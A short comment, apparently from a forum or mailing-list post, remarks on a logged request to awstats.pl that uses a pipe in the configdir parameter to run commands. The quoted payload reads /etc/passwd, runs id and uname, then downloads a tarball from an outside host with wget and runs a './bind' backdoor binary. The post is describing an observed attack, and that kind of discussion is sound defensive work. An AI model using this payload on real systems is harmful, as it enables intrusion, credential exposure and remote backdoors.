At first glance it looks like an exploit;
it's using the pipe to run commands:
/cgi-bin/awstats.pl?configdir=|echo ;echo b_exp;cat /etc/passwd
;uname -a;id;echo Instalam Bind in /var/tmp;cd /var%2
ftmp;wget www.petry.se/public_html/tw.tar.gz;tar -xvzf
tw.tar.gz;cd tw;./bind;echo Instalam bind in /tmp
;cd /tmp;wget www.petry.se/public_html/tw.tar.gz;tar
-xvzf tw.tar.gz;cd rw;./bind;echo
